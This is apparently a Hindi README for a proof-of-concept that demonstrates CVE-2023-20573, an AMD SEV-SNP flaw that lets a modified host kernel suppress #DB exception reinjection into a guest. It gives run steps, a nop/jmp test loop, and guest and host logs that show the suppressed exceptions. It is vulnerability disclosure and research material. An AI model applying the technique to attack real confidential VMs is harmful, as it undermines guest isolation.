
CVE-2023-20573 प्रदर्शित करने वाला प्रूफ-ऑफ-कॉन्सेप्ट: AMD SEV-SNP में एक हार्डवेयर भेद्यता जो KVM में अपवाद पुन: इंजेक्शन दमन की अनुमति देती है, जिससे निर्देश-स्तरीय शोषण संभव होता है।
इस रिपॉजिटरी में एक VMM है जो कस्टम कर्नेल के साथ SEV-SNP गेस्ट को बूट करता है। VMM और कर्नेल मेरे एक प्रोजेक्ट का स्ट्रिप-डाउन संस्करण हैं। होस्ट पर चलाने के लिए एक संशोधित Linux कर्नेल आवश्यक है: https://github.com/Freax13/linux/tree/for-amd।
Proof of Concept को इस प्रकार चलाया जा सकता है:
cd host
cargo run -p vmm
यह कोड दो निर्देशों के बीच आगे-पीछे कूदता है:
2:
nop
jmp 2b
जब FLAGS रजिस्टरों में TF फ्लैग सेट होता है, तो इंस्ट्रक्शन पॉइंटर के दोनों निर्देशों के बीच वैकल्पिक होने के साथ अपवाद उत्पन्न होने चाहिए।
गेस्ट कर्नेल एक अपवाद हैंडलर परिभाषित करता है जो इंटरप्ट स्टैक फ्रेम में रिपोर्ट किए गए इंस्ट्रक्शन पॉइंटर को केवल लॉग करता है। सिद्धांत रूप में, लॉग इस प्रकार दिखने चाहिए:
...
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
...
हालाँकि, व्यवहार में, संशोधित होस्ट कर्नेल reinjection को दबा देता है, जिसके परिणामस्वरूप निम्नलिखित लॉग मिलते हैं:
...
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:53] last instruction was also nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:59] last instruction was also jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
...
दबाई गई घटनाएँ होस्ट कर्नेल लॉग में दिखाई देंगी:
...
[798678.660473] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.678645] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.680906] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.683491] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.700844] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.712970] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
...
यह प्रदर्शित करता है कि #DB अपवाद की डिलीवरी दबा दी गई थी।